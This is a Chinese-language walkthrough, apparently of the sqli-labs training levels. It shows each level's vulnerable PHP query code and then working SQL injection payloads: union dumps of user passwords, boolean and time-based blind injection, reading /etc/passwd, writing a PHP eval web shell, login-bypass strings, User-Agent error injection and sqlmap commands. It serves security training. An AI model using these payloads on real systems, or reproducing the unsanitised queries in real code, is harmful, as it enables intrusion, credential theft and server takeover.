## 判断查询列数 ?id=1' order by 1 --+ # 正常 ?id=1' order by 2 --+ # 正常 ?id=1' order by 3 --+ # 正常 ?id=1' order by 4 --+ # 报错
## 判断出是查询列数是三列,构造页面回显 ?id=-1' union select 1,2,3 --+ ## 判断当前数据库 ?id=-1' union select 1,2,database() --+
## 查询所有数据库名 ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ ## 查询 security 数据库中的所有表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+
## 查询 users 表中的所有列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"--+ ## 查询用户 id、username、password 字段数据 ?id=-1' union select 1,2,group_concat(id,'-',username,'-',password) from users --+
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; ..... if($row){ echo'You are in.... Use outfile......'; }else { echo'You have an error in your SQL syntax'; //print_r(mysql_error()); }
## 闭合失败,这关的闭合比较奇怪,正常没有人会这么写 ?id=1')) --+ ## 构造布尔盲注语句 ?id=1')) and 1=1 --+ # 页面正常 ?id=1')) and 1=2 --+ # 页面报错 ## 判断当前数据库长度 ?id=1')) and substr(length(database()),1,1)>5 --+ # 页面正常 ?id=1')) and substr(length(database()),1,1)<10 --+ # 页面正常 ?id=1')) and substr(length(database()),1,1)=8 --+ # # 页面正常
## 判断当前数据库名称 ?id=1')) and substr(database(),1,1)='s' --+ ?id=1')) and substr(database(),1,2)='se' --+ ?id=1')) and substr(database(),1,3)='sec' --+ ?id=1')) and substr(database(),1,4)='secu' --+ ?id=1')) and substr(database(),1,5)='secur' --+ ?id=1')) and substr(database(),1,6)='securi' --+ ?id=1')) and substr(database(),1,7)='securit' --+ ?id=1')) and substr(database(),1,8)='security' --+
## 闭合失败,这关的闭合比较奇怪,正常没有人会这么写 ?id=1')) --+ ## 构造时间盲注语句 ?id=1')) and sleep(4) --+
## 判断当前数据库长度 ?id=1')) and if(substr(length(database()),1,1)>5,sleep(3),1) --+ ?id=1')) and if(substr(length(database()),1,1)<10,sleep(3),1) --+ ?id=1')) and if(substr(length(database()),1,1)=8,sleep(3),1) --+= ## 判断当前数据库名称 ?id=1')) and if(substr(database(),1,1)='s',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,2)='se',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,3)='sec',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,4)='secu',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,5)='secur',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,6)='securi',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,7)='securit',sleep(3),1) --+ ?id=1')) and if(substr(database(),1,8)='security',sleep(3),1) --+
3.7.3 文件读写
虽然可以使用盲注完成,但本关的标题是 dump into outfile,意思是本关我们利用文件导入的方式进行注入。命令如下:
[!Warning] 虽然说不能进行联合查询注入,但是文件读写也只有在联合查询注入下才能完成。
1 2 3
?id=1')) union select 1,2,load_file('/etc/passwd') --+ # 读取 /etc/passwd 文件,不回显没啥用 ?id=1')) union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # 作者的镜像有点问题,目录权限不对
$uname=$_POST['uname']; $passwd=$_POST['passwd']; ..... $sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; ..... if($row){ echo'Your Login name:'. $row['username']; echo'Your Password:' .$row['password']; }else { print_r(mysql_error()); }
一个简单的后端接收的 PHP 代码,和 Less-1 不同之处在于由 GET 型变成了 POST 型。
3.11.1 万能密码
由于这里涉及到用户登录,所以可以尝试万能密码:
1 2 3 4 5 6 7 8
## 已知用户,不知密码 admin ' or 1=1 -- ## 不知用户,不知密码 ' or 1=1 or 1=1 --
## 不知用户,已知密码,这类型少见,因为密码都是会被 HASH 的 ' or 1=1 --
[!Note] 这是一个 POST 型注入,表单提交时会自动进行 URL 编码。
3.11.2 SQLMap
这里可以使用 SQLMap 直接进行注入,有以下三种方式:
-r:指定 HTTP Response 文件;
--data:指定 HTTP 请求体数据内容;
--form:寻找表单提交参数。
命令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root at kali in ~ $ sqlmap -r url.txt -v 0 --batch
root at kali in ~ $ sqlmap -u 'http://www.sqlilab.com/Less-11/' --data 'uname=admin&passwd=2333&submit=Submit' -v 0 --batch
root at kali in ~ $ sqlmap -u 'http://www.sqlilab.com/Less-11/' --form -v 0 ...... [1/1] Form: POST http://www.sqlilab.com/Less-11/ POST data: uname=&passwd=&submit=Submit do you want to test this form? [Y/n/q] > Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=admin&passwd=2333&submit=Submit
3.12 Less-12
HTTP 请求方式
可注入类型
SQL 拼接方式
POST
联合、报错、盲注
username = ("$uname")
和 Less-11 利用方式一致,只是闭合方式不一样而已,这里不再阐述。
3.13 Less-13
HTTP 请求方式
可注入类型
SQL 拼接方式
POST
报错、盲注
username = ('$uname')
源码简单分析:
1 2 3 4 5 6 7 8 9 10
$uname=$_POST['uname']; $passwd=$_POST['passwd']; ..... $sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; ..... if($row){ }else { print_r(mysql_error()); }
$uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; ... $sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; ... $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; ... if (mysql_error()){ print_r(mysql_error()); }else{ //echo " You password has been successfully updated " ; }
这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息。
这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:
[!Warning] 只能使用 and ‘1’=’1,不能用注释,注释会把后面的语句删除导致报错。
1 2 3
User-Agent: 1' and '1'='1 User-Agent: 1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 User-Agent: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
if cookie 中不存在 uname 参数: 输出了一堆无用的信息 if 提交了 uname 和 passwd: # 进行过滤 $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; if 有查询结果: # 将 uname 的值设置给 cookie 里面的 uname 参数 setcookie('uname', base64_encode($row1['username']), time()+3600); else: print_r(mysql_error());
else: if POST 数据里面没有 submit 参数: $cookee = $_COOKIE['uname'];